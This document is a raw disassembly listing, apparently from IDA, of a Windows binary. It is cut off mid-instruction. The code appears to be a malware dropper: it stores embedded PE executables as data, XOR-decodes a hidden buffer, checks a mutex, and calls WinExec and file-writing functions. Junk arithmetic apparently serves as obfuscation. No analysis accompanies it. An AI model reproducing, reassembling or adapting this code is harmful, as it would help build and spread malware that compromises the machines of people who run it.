aGlobalfindat_0 db 'GlobalFindAtomW',0 aM_1 db 'M',0 align 4 byte_43D0AC db 3 ; DATA XREF: sub_40256D+A1r align 10h off_43D0B0 dd offset aWcscmp ; DATA XREF: sub_40256D+119r ; sub_40256D+18Ar ; "wcscmp" off_43D0B4 dd offset aNtdll_dll ; DATA XREF: sub_40256D+106r ; "ntdll.dll" dd 5, 43D01Dh, 43CE5Dh, 7, 43D024h, 43CE1Fh, 8, 43D039h dd 43CE1Fh, 9, 43D04Fh, 43CE69h, 0Ah, 43D05Eh, 43CE69h dd 0Bh, 43D070h, 43CE1Fh, 0Ch, 43D085h, 43CE1Fh, 0Dh, 43D097h dd 43CE1Fh word_43D118 dw 33h ; DATA XREF: sub_40256D+14Br dword_43D11A dd 80332Fh aYmSu_ db 'ym SU _',0 ; DATA XREF: sub_40256D+309o aB_hir db 'b_HiR',0 ; DATA XREF: sub_4028B9+Co aNTe db '$n*-TE ',0 ; DATA XREF: sub_4028B9+36o word_43D134 dw 20h ; DATA XREF: sub_4028B9+1F4r a_jyp db '.jYP',0 ; DATA XREF: sub_402AD6+4Fo dword_43D13B dd 577753h aV4r7 db '= ;v4R7',0 ; DATA XREF: sub_402AD6+262o word_43D147 dw 20h ; DATA XREF: sub_402AD6+2C2r aOx db ' ox $',0 ; DATA XREF: sub_402AD6+2E6o aNb db 'Nb',0 ; DATA XREF: sub_402AD6+5EEo aAa6 db '/aa6',0 ; DATA XREF: sub_402AD6+724o dword_43D157 dd 79794Dh align 4 dd 5, 11h dword_43D164 dd 8 ; sub_40336C:loc_4033A2r ... dword_43D168 dd 824D517Fh db 0 aS db 'S=~/ ',0 ; DATA XREF: sub_4034C6+11o aW4 db '=',27h,'W#4~',0 ; DATA XREF: sub_4034C6+25o a0z db '0Z',0 ; DATA XREF: sub_4034C6+38o aPfoebK db 'pFoE#K',0 ; DATA XREF: sub_40355C+1Eo byte_43D185 db 3 dup(0) ; DATA XREF: sub_40355C+9Do dword_43D188 dd 3 dd 0Fh dword_43D190 dd 0 ; sub_40360B:loc_403630r ... byte_43D194 db 67h, 25h, 0 ; DATA XREF: sub_40369B+14o byte_43D197 db 62h ; DATA XREF: sub_403780+17o db 61h, 0 dword_43D19A dd 326C55h align 10h dd 3, 0Dh dword_43D1A8 dd 0 ; sub_4037DF:loc_40380Dr ... byte_43D1AC db 6Bh, 48h, 0 ; DATA XREF: sub_403883+16o word_43D1AF dw 42h ; DATA XREF: sub_403883+23r aAluvia db 'LUVIa',0 ; DATA XREF: .text:00403926o dd 5, 0Eh dword_43D1C0 dd 0DEh ; sub_4039E6:loc_403A0Cr ... dword_43D1C4 dd 905A4Dh, 3, 4, 0FFFFh, 0B8h, 0 dd 40h, 8 dup(0) dd 80h, 0EBA1F0Eh, 0CD09B400h, 4C01B821h, 685421CDh, 70207369h dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0 dd 4550h, 7014Ch, 427CB50Ah, 2 dup(0) dd 210E00E0h, 3702010Bh, 800h, 0C00h, 1000h, 1190h, 1000h dd 2000h, 10000000h, 1000h, 200h, 1, 0 dd 4, 0 dd 8000h, 400h, 0 dd 2, 100000h, 1000h, 100000h, 1000h, 0 dd 10h, 7000h, 48h, 5000h, 37Ch, 6 dup(0) dd 6000h, 0DCh, 3000h, 54h, 12h dup(0) a_text db '.text',0 align 4 db '',7,0 align 4 dd 1000h, 7BCh, 400h, 3 dup(0) dd 60000020h, 7373622Eh, 0 dd 0FE0h, 2000h, 5 dup(0) dd 0C0000080h, 6164722Eh, 6174h, 54h, 3000h, 54h, 0C00h dd 3 dup(0) dd 40000020h, 7461642Eh, 61h, 0C4h, 4000h, 0C4h, 0E00h dd 3 dup(0) dd 0C0000040h, 6164692Eh, 6174h, 37Ch, 5000h, 37Ch, 1000h dd 3 dup(0) dd 0C0000060h, 6C65722Eh, 636Fh, 0E4h, 6000h, 0E4h, 1600h dd 3 dup(0) dd 2000020h, 6164652Eh, 6174h, 48h, 7000h, 48h, 1800h dd 3 dup(0) dd 40000020h, 5Ch dup(0) dd 8B40C031h, 0F704244Ch, 60441h, 0F740000h, 824448Bh dd 1024548Bh, 3B80289h, 0C3000000h ; =============== S U B R O U T I N E ======================================= sub_43D5E4 proc near ; CODE XREF: .data:0043D70Cp ; .data:0043D73Ap var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push 10001000h push large dword ptr fs:0 mov large fs:0, esp loc_43D601: ; CODE XREF: sub_43D5E4+44j ; sub_43D5E4+4Aj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_43D630 cmp esi, [esp+1Ch+arg_4] jz short loc_43D630 lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov ecx, [esp+1Ch+var_14] mov ecx, [eax+0Ch] cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_43D601 call dword ptr [ebx+esi*4+8] jmp short loc_43D601 ; --------------------------------------------------------------------------- loc_43D630: ; CODE XREF: sub_43D5E4+2Aj ; sub_43D5E4+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_43D5E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D63E proc near ; CODE XREF: .data:0043D6FFp arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push 10001092h push [ebp+arg_0] call sub_43DCD8 pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_43D63E endp ; --------------------------------------------------------------------------- db 0FCh ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp mov ebx, [ebp+0Ch] mov eax, [ebp+8] test dword ptr [eax+4], 6 jnz loc_43D733 mov [ebp-8], eax mov eax, [ebp+10h] mov [ebp-4], eax lea eax, [ebp-8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_43D691: ; CODE XREF: .data:0043D72Aj cmp esi, 0FFFFFFFFh jz loc_43D742 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_43D721 push esi push ebp lea ebp, [ebx+10h] mov eax, [ebp-14h] mov eax, [eax] mov eax, [eax] mov ds:10004034h, eax mov edx, [ebp-14h] mov eax, [edx] mov ds:10004038h, eax mov eax, [edx+4] mov ds:1000403Ch, eax push esi push edi push ecx mov ecx, 14h lea edi, ds:10004040h mov esi, ds:10004038h rep movsd lea edi, ds:10004040h mov ds:10004038h, edi pop ecx pop edi pop esi call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+0Ch] or eax, eax jz short loc_43D721 js short loc_43D72F mov edi, [ebx+8] push ebx call sub_43D63E add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_43D5E4 add esp, 8 lea ecx, [esi+esi*2] mov eax, [edi+ecx*4] mov eax, [ebx+0Ch] call dword ptr [edi+ecx*4+8] loc_43D721: ; CODE XREF: .data:0043D6A2j ; .data:0043D6F7j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp loc_43D691 ; --------------------------------------------------------------------------- loc_43D72F: ; CODE XREF: .data:0043D6F9j xor eax, eax jmp short loc_43D74C ; --------------------------------------------------------------------------- loc_43D733: ; CODE XREF: .data:0043D676j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_43D5E4 add esp, 0Ch loc_43D742: ; CODE XREF: .data:0043D694j push 0Bh call sub_43DD44 add esp, 4 loc_43D74C: ; CODE XREF: .data:0043D731j pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push esi push edi cmp dword ptr [ebp+0Ch], 1 jnz short loc_43D765 call sub_43D788 loc_43D765: ; CODE XREF: .data:0043D75Ej call sub_43DC37 push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] mov eax, ds:10004000h call eax pop edi pop esi pop ebx leave retn 0Ch ; --------------------------------------------------------------------------- db 0B8h, 1, 0 dd 0F2EB0000h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D788 proc near ; CODE XREF: .data:0043D760p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch push edi push 0 push 0FFFFFFF6h call sub_43DCFC mov [ebp+var_8], eax push 0 push 0FFFFFFF5h call sub_43DCFC mov [ebp+var_4], eax push 0 push 0FFFFFFF4h call sub_43DCFC mov [ebp+var_C], eax push 1000401Eh push [ebp+var_8] call sub_43DCF0 mov ds:10004008h, eax push 1000401Ch push [ebp+var_4] call sub_43DCF0 mov ds:10004004h, eax push 1000401Ch push [ebp+var_C] call sub_43DCF0 add esp, 30h mov ds:1000400Ch, eax mov edi, ds:10004004h or edi, edi jz short loc_43D801 push 0 push edi call sub_43DD50 add esp, 8 loc_43D801: ; CODE XREF: sub_43D788+6Cj mov edi, ds:1000400Ch or edi, edi jz short loc_43D81B push 0 push edi call sub_43DD50 add esp, 8 call sub_43D820 loc_43D81B: ; CODE XREF: sub_43D788+81j pop edi leave retn sub_43D788 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D820 proc near ; CODE XREF: sub_43D788+8Ep var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi mov [ebp+var_C], 0 call sub_43DC6C mov ebx, eax mov [ebp+var_10], ebx jmp short loc_43D85D ; --------------------------------------------------------------------------- loc_43D83C: ; CODE XREF: sub_43D820+45j cmp byte ptr ds:0[ebx], 3Dh jz short loc_43D849 inc [ebp+var_C] loc_43D849: ; CODE XREF: sub_43D820+24j mov edi, ebx xor eax, eax stc sbb ecx, ecx repne scasb neg ecx lea eax, [ecx-2] mov edi, eax inc edi lea ebx, [ebx+edi] loc_43D85D: ; CODE XREF: sub_43D820+1Aj cmp byte ptr ds:0[ebx], 0 jnz short loc_43D83C mov edi, [ebp+var_C] inc edi lea edi, ds:0[edi*4] mov [ebp+var_14], edi push [ebp+var_14] call sub_43DD20 pop ecx mov [ebp+var_8], eax mov ds:10004010h, eax cmp [ebp+var_8], 0 jnz short loc_43D890 xor eax, eax jmp short loc_43D906 ; --------------------------------------------------------------------------- loc_43D890: ; CODE XREF: sub_43D820+6Aj mov ebx, [ebp+var_10] jmp short loc_43D8E9 ; --------------------------------------------------------------------------- loc_43D895: ; CODE XREF: sub_43D820+D1j mov edi, ebx xor eax, eax stc sbb ecx, ecx repne scasb neg ecx lea eax, [ecx-2] mov edi, eax inc edi mov [ebp+var_4], edi cmp byte ptr ds:0[ebx], 3Dh jz short loc_43D8E3 push [ebp+var_4] call sub_43DD20 pop ecx mov esi, [ebp+var_8] mov ds:0[esi], eax or eax, eax jnz short loc_43D8CC jmp short loc_43D906 ; --------------------------------------------------------------------------- loc_43D8CC: ; CODE XREF: sub_43D820+A8j push ebx mov edi, [ebp+var_8] push dword ptr ds:0[edi] call sub_43DD74 add esp, 8 add [ebp+var_8], 4 loc_43D8E3: ; CODE XREF: sub_43D820+91j mov edx, [ebp+var_4] lea ebx, [ebx+edx] loc_43D8E9: ; CODE XREF: sub_43D820+73j cmp byte ptr ds:0[ebx], 0 jnz short loc_43D895 mov edx, [ebp+var_8] mov dword ptr ds:0[edx], 0 mov eax, 1 loc_43D906: ; CODE XREF: sub_43D820+6Ej ; sub_43D820+AAj pop edi pop esi pop ebx leave retn sub_43D820 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D90C proc near ; CODE XREF: sub_43D9B6+22p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push esi push edi mov esi, [ebp+arg_4] mov [ebp+var_4], 181h push esi push [ebp+arg_0] mov eax, ds:10004098h lea eax, ds:10002000h[eax] push eax call sub_43DD2C add esp, 0Ch xor edi, edi jmp short loc_43D955 ; --------------------------------------------------------------------------- loc_43D93B: ; CODE XREF: sub_43D90C+4Bj mov eax, ds:10004098h add eax, edi lea eax, ds:10002000h[eax] movsx edx, byte ptr [eax] xor edx, 0D9h mov [eax], dl inc edi loc_43D955: ; CODE XREF: sub_43D90C+2Dj cmp edi, esi jl short loc_43D93B mov [ebp+var_8], 389h mov eax, ds:10004098h add eax, esi mov byte ptr ds:10002000h[eax], 0 xor edi, edi mov edi, ds:10004098h add dword ptr ds:10004098h, 3 mov eax, ds:10004098h lea eax, [eax+esi+4] mov ds:10004098h, eax inc dword ptr ds:10004098h cmp dword ptr ds:10004098h, 0DB6h jle short loc_43D9A5 and dword ptr ds:10004098h, 0 loc_43D9A5: ; CODE XREF: sub_43D90C+90j mov [ebp+var_C], 9Ch lea eax, [edi+10002000h] pop edi pop esi leave retn sub_43D90C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D9B6 proc near ; CODE XREF: .data:0043DB4Fp var_E = word ptr -0Eh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 10h push esi push edi lea edi, [ebp+var_5] lea esi, ds:1000409Ch xor ecx, ecx inc ecx rep movsb call sub_43DCA8 push 5 push 100040BDh call sub_43D90C add esp, 8 push eax push 0 push 1F0001h call sub_43DCCC mov [ebp+var_4], eax or eax, eax jz short loc_43DA11 mov [ebp+var_C], 4FA1h inc [ebp+var_C] push eax call sub_43DC84 mov [ebp+var_E], 6C6Dh inc [ebp+var_E] xor eax, eax inc eax loc_43DA11: ; CODE XREF: sub_43D9B6+3Cj pop edi pop esi leave retn sub_43D9B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43DA15 proc near ; CODE XREF: .data:0043DB83p var_10A = byte ptr -10Ah var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10Ch push ebx push esi push edi mov edi, [ebp+arg_0] call sub_43DC60 call sub_43DC90 mov ecx, edi or eax, 0FFFFFFFFh loc_43DA33: ; CODE XREF: sub_43DA15+23j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43DA33 mov ebx, eax mov [ebp+var_6], bx mov ax, [ebp+var_6] mov [ebp+var_2], ax jmp short loc_43DA68 ; --------------------------------------------------------------------------- loc_43DA4A: ; CODE XREF: sub_43DA15+59j movzx eax, [ebp+var_2] cmp byte ptr [edi+eax], 5Ch jnz short loc_43DA64 call sub_43DC54 inc [ebp+var_2] call sub_43DCA8 jmp short loc_43DA70 ; --------------------------------------------------------------------------- loc_43DA64: ; CODE XREF: sub_43DA15+3Dj dec [ebp+var_2] loc_43DA68: ; CODE XREF: sub_43DA15+33j movzx eax, [ebp+var_2] or eax, eax jg short loc_43DA4A loc_43DA70: ; CODE XREF: sub_43DA15+4Dj mov ax, [ebp+var_2] cmp ax, [ebp+var_6] jnb short loc_43DAAE mov [ebp+var_4], 0 jmp short loc_43DA9C ; --------------------------------------------------------------------------- loc_43DA82: ; CODE XREF: sub_43DA15+97j movzx eax, [ebp+var_4] movzx edx, [ebp+var_2] mov ecx, eax add ecx, edx mov dl, [edi+ecx] mov [ebp+eax+var_10A], dl inc [ebp+var_4] loc_43DA9C: ; CODE XREF: sub_43DA15+6Bj movzx eax, [ebp+var_4] movzx edx, [ebp+var_6] movzx ecx, [ebp+var_2] sub edx, ecx cmp eax, edx jle short loc_43DA82 loc_43DAAE: ; CODE XREF: sub_43DA15+63j mov esi, 6BBCh add esi, 7D41h lea eax, [ebp+var_10A] push eax call sub_43DCC0 call sub_43DCB4 pop edi pop esi pop ebx leave retn sub_43DA15 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43DACF proc near ; CODE XREF: .data:0043DBD6p var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push eax push esi push edi call sub_43DC60 push 100040BBh push [ebp+arg_0] call sub_43DD68 add esp, 8 lea edi, [ebp+var_8] lea esi, ds:1000409Dh movsd movsd pop edi pop esi leave retn sub_43DACF endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 21Ch push esi push edi mov ax, ds:100040A5h mov [ebp-217h], ax mov eax, ds:10004094h add eax, 698h push eax call sub_43DD5C mov byte ptr [ebp-100h], 84h sub byte ptr [ebp-100h], 68h mov eax, ds:10004090h mov edx, eax add edx, 5 push edx mov edx, 0Fh sub edx, ds:10004094h push edx mov edx, 4 sub edx, eax push edx call sub_43D9B6 add esp, 10h or eax, eax jz short loc_43DB63 xor eax, eax inc eax jmp loc_43DC0C ; --------------------------------------------------------------------------- loc_43DB63: ; CODE XREF: .data:0043DB59j push 104h lea eax, [ebp-205h] push eax push dword ptr [ebp+8] call sub_43DC78 call sub_43DC60 lea eax, [ebp-205h] push eax call sub_43DA15 mov byte ptr [ebp-101h], 1Bh add byte ptr [ebp-101h], 1 lea edi, [ebp-215h] lea esi, ds:100040A7h mov ecx, 4 rep movsd push 0FFh lea eax, [ebp-0FFh] push eax call sub_43DC9C mov eax, ds:100040B7h mov [ebp-21Bh], eax call sub_43DC60 call sub_43DC54 lea eax, [ebp-0FFh] push eax call sub_43DACF call sub_43DCA8 lea eax, [ebp-215h] push eax lea eax, [ebp-0FFh] push eax call sub_43DD68 add esp, 10h push 1 lea eax, [ebp-0FFh] push eax call sub_43DCE4 call sub_43DC90 xor eax, eax inc eax loc_43DC0C: ; CODE XREF: .data:0043DB5Ej pop edi pop esi leave retn 0Ch ; --------------------------------------------------------------------------- align 4 dd 243CD950h, 0F24048Bh, 82434BAh, 240C8166h db 0, 2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43DC37 loc_43DC26: ; CODE XREF: sub_43DC37+Dj fldcw word ptr [esp+4+var_4] pop ecx mov al, ah and eax, 3 retn ; END OF FUNCTION CHUNK FOR sub_43DC37 ; --------------------------------------------------------------------------- dd 243CD950h db 58h, 0EBh, 0F3h ; =============== S U B R O U T I N E ======================================= sub_43DC37 proc near ; CODE XREF: .data:loc_43D765p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0043DC26 SIZE 0000000A BYTES push eax fnstcw word ptr [esp+4+var_4] mov eax, [esp+4+var_4] or word ptr [esp+4+var_4], 300h jmp short loc_43DC26 sub_43DC37 endp ; --------------------------------------------------------------------------- align 4 dd 50E825FFh, 90901000h, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DC54 proc near ; CODE XREF: sub_43DA15+3Fp ; .data:0043DBCAp jmp dword ptr ds:100050ECh sub_43DC54 endp ; --------------------------------------------------------------------------- dw 9090h align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DC60 proc near ; CODE XREF: sub_43DA15+Fp ; sub_43DACF+7p ... jmp dword ptr ds:100050F0h sub_43DC60 endp ; --------------------------------------------------------------------------- dw 9090h dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DC6C proc near ; CODE XREF: sub_43D820+10p jmp dword ptr ds:100050F4h sub_43DC6C endp ; --------------------------------------------------------------------------- dw 9090h align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DC78 proc near ; CODE XREF: .data:0043DB72p jmp dword ptr ds:100050F8h sub_43DC78 endp ; --------------------------------------------------------------------------- dw 9090h dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DC84 proc near ; CODE XREF: sub_43D9B6+49p jmp dword ptr ds:100050FCh sub_43DC84 endp ; --------------------------------------------------------------------------- dw 9090h align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DC90 proc near ; CODE XREF: sub_43DA15+14p ; .data:0043DC04p jmp dword ptr ds:10005100h sub_43DC90 endp ; --------------------------------------------------------------------------- dw 9090h dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DC9C proc near ; CODE XREF: .data:0043DBB5p jmp dword ptr ds:10005104h sub_43DC9C endp ; --------------------------------------------------------------------------- dw 9090h align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DCA8 proc near ; CODE XREF: sub_43D9B6+16p ; sub_43DA15+48p ... jmp dword ptr ds:10005108h sub_43DCA8 endp ; --------------------------------------------------------------------------- dw 9090h dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DCB4 proc near ; CODE XREF: sub_43DA15+B0p jmp dword ptr ds:1000510Ch sub_43DCB4 endp ; --------------------------------------------------------------------------- dw 9090h align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DCC0 proc near ; CODE XREF: sub_43DA15+ABp jmp dword ptr ds:10005110h sub_43DCC0 endp ; --------------------------------------------------------------------------- dw 9090h dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DCCC proc near ; CODE XREF: sub_43D9B6+32p jmp dword ptr ds:10005114h sub_43DCCC endp ; --------------------------------------------------------------------------- dw 9090h align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DCD8 proc near ; CODE XREF: sub_43D63E+13p jmp dword ptr ds:10005118h sub_43DCD8 endp ; --------------------------------------------------------------------------- dw 9090h dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DCE4 proc near ; CODE XREF: .data:0043DBFFp jmp dword ptr ds:1000511Ch sub_43DCE4 endp ; --------------------------------------------------------------------------- dw 9090h align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DCF0 proc near ; CODE XREF: sub_43D788+33p ; sub_43D788+45p ... jmp dword ptr ds:10005128h sub_43DCF0 endp ; --------------------------------------------------------------------------- dw 9090h dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DCFC proc near ; CODE XREF: sub_43D788+Bp ; sub_43D788+17p ... jmp dword ptr ds:1000512Ch sub_43DCFC endp ; --------------------------------------------------------------------------- dw 9090h align 8 dd 513025FFh, 90901000h, 0 dd 513425FFh, 90901000h, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DD20 proc near ; CODE XREF: sub_43D820+58p ; sub_43D820+96p jmp dword ptr ds:10005138h sub_43DD20 endp ; --------------------------------------------------------------------------- dw 9090h dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DD2C proc near ; CODE XREF: sub_43D90C+23p jmp dword ptr ds:1000513Ch sub_43DD2C endp ; --------------------------------------------------------------------------- dw 9090h align 8 dd 514025FFh, 90901000h, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DD44 proc near ; CODE XREF: .data:0043D744p jmp dword ptr ds:10005144h sub_43DD44 endp ; --------------------------------------------------------------------------- dw 9090h align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DD50 proc near ; CODE XREF: sub_43D788+71p ; sub_43D788+86p jmp dword ptr ds:10005148h sub_43DD50 endp ; --------------------------------------------------------------------------- dw 9090h dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DD5C proc near ; CODE XREF: .data:0043DB1Dp jmp dword ptr ds:1000514Ch sub_43DD5C endp ; --------------------------------------------------------------------------- dw 9090h align 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DD68 proc near ; CODE XREF: sub_43DACF+14p ; .data:0043DBEEp jmp dword ptr ds:10005150h sub_43DD68 endp ; --------------------------------------------------------------------------- dw 9090h dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43DD74 proc near ; CODE XREF: sub_43D820+B7p jmp dword ptr ds:10005154h sub_43DD74 endp ; --------------------------------------------------------------------------- dw 9090h dd 14h dup(0) dd 2 dup(1), 7Ch dup(0) dd 10001536h, 5 dup(0) dd 7325h, 720077h, 1Ch dup(0) dd 2, 0Ch, 0 dd 3B4E2A00h, 734D3E5Ah db 0, 4Bh, 0 aJifadi32 db 'Jifadi32',0 ; DATA XREF: sub_403D18+288o aJklmno db 'jklmno',0 aAy db 'Ay&',0 db '\',0 aTtii db '',0 align 4 dd 4Fh dup(0) dd 5070h, 2 dup(0) dd 52F8h, 50E8h, 50B0h, 2 dup(0) dd 5340h, 5128h, 12h dup(0) dd 515Ch, 516Ch, 5184h, 519Ch, 51B8h, 51D0h, 51E0h, 51F4h dd 520Ch, 521Ch, 522Ch, 5240h, 5250h, 525Ch, 2 dup(0) dd 5268h, 5274h, 5288h, 5294h, 52A0h, 52ACh, 52B8h, 52C4h dd 52CCh, 52D8h, 52E0h, 52ECh, 2 dup(0) dd 515Ch, 516Ch, 5184h, 519Ch, 51B8h, 51D0h, 51E0h, 51F4h dd 520Ch, 521Ch, 522Ch, 5240h, 5250h, 525Ch, 2 dup(0) dd 5268h, 5274h, 5288h, 5294h, 52A0h, 52ACh, 52B8h, 52C4h dd 52CCh, 52D8h, 52E0h, 52ECh, 0 dd 78450081h, 72507469h, 7365636Fh, 73h, 654700DEh, 72754374h dd 746E6572h, 636F7250h, 49737365h, 64h, 654700E0h, 72754374h dd 746E6572h, 65726854h, 64496461h, 0 dd 654700EDh, 766E4574h, 6E6F7269h, 746E656Dh, 69727453h dd 4173676Eh, 0 dd 6547010Ah, 646F4D74h, 46656C75h, 4E656C69h, 41656D61h dd 0 dd 6C43001Bh, 4865736Fh, 6C646E61h, 65h, 65470124h, 6F725074h dd 73736563h, 70616548h, 0 dd 6547013Fh, 73795374h, 446D6574h, 63657269h, 79726F74h dd 41h, 65470155h, 63695474h, 756F436Bh, 746Eh, 6547015Ch dd 72655674h, 6E6F6973h, 0 dd 6C470168h, 6C61626Fh, 41646441h, 416D6F74h, 0 dd 704F01D2h, 754D6E65h, 41786574h, 0 dd 7452020Eh, 776E556Ch, 646E69h, 69570298h, 6578456Eh dd 63h, 665F0080h, 65706F64h, 6Eh, 6F5F014Fh, 5F6E6570h dd 6866736Fh, 6C646E61h, 65h, 6366020Dh, 65736F6Ch, 0 dd 635F0039h, 74697865h, 0 dd 616D024Eh, 636F6C6Ch, 0 dd 656D0254h, 7970636Dh, 0 dd 7270025Bh, 66746E69h, 0 dd 61720260h, 657369h, 65730267h, 66756274h, 0 dd 7273026Fh, 646E61h, 74730271h, 74616372h, 0 dd 74730275h, 79706372h, 0 aKernel32_dll_0 db 'KERNEL32.DLL',0 align 4 dd 0Eh dup(10005000h), 44545243h, 442E4C4Ch, 4C4Ch, 0Ch dup(10005014h) dd 22h dup(0) dd 20h, 0 dd 20h, 1000h, 1800h, 2000h, 2C00h, 78h dup(0) dd 1000h, 94h, 3086302Bh, 30F730EDh, 310D30FFh, 311B3113h dd 31B03121h, 31FD31F0h, 320F3202h, 32243214h, 323F322Ah dd 335F32BEh, 33783366h, 339D3381h, 33AF33A6h, 33BB33B5h dd 33CA33C4h, 33DC33D0h, 33FF33EAh, 35183410h, 3543352Ch dd 356D354Fh, 35DA357Eh, 368635F7h, 369E3692h, 36B636AAh dd 36CE36C2h, 36E636DAh, 36FE36F2h, 3716370Ah, 372E3722h dd 3746373Ah, 375E3752h, 3776376Ah, 378E3782h, 37A6379Ah dd 37B2h, 4000h, 0Ch, 3000h, 5000h, 3Ch, 330C3308h, 33143310h dd 331C3318h, 33243320h, 332C3328h, 33343330h, 333C3338h dd 3350334Ch, 33583354h, 3360335Ch, 33683364h, 3370336Ch dd 33783374h, 4Ah dup(0) aB db 0Ah db '|B',0 align 10h aP_0 db '(p',0 align 4 dd 3 dup(1), 7030h, 7034h, 7038h, 2E6C6C64h, 6C6C64h, 1536h dd 703Ch, 0 a_libmain@12 db '_LibMain@12',0 dd 6Eh dup(0) db 0 byte_43EBC5 db 4Dh, 5Ah, 90h ; DATA XREF: sub_403B8E+DCo dd 300h, 400h, 0FFFF00h, 0B800h, 0 dd 4000h, 8 dup(0) dd 8000h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0 dd 455000h, 4014C00h, 7CA9DF00h, 42h, 0 dd 0E00E000h, 2010B01h, 1A0037h, 180000h, 20000h, 121900h dd 100000h, 300000h, 40000000h, 100000h, 20000h, 100h dd 0 dd 400h, 0 dd 600000h, 40000h, 0 dd 200h, 10000000h, 100000h, 10000000h, 100000h, 0 dd 1000h, 2 dup(0) dd 500000h, 97000h, 1Ch dup(0) dd 65742E00h, 7478h, 19A400h, 100000h, 19A400h, 40000h dd 3 dup(0) dd 2000h, 73622E60h, 73h, 11000h, 300000h, 5 dup(0) dd 8000h, 61642EC0h, 6174h, 0DE800h, 400000h, 0DE800h dd 1E0000h, 3 dup(0) dd 4000h, 64692EC0h, 617461h, 97000h, 500000h, 97000h dd 2C0000h, 3 dup(0) dd 6000h, 0C0h, 79h dup(0) dd 40C03100h, 4244C8Bh, 60441F7h, 74000000h, 24448B0Fh dd 24548B08h, 0B8028910h, 3 db 0C3h ; =============== S U B R O U T I N E ======================================= sub_43EFE5 proc near ; CODE XREF: .data:0043F11Dp ; .data:0043F14Bp var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset 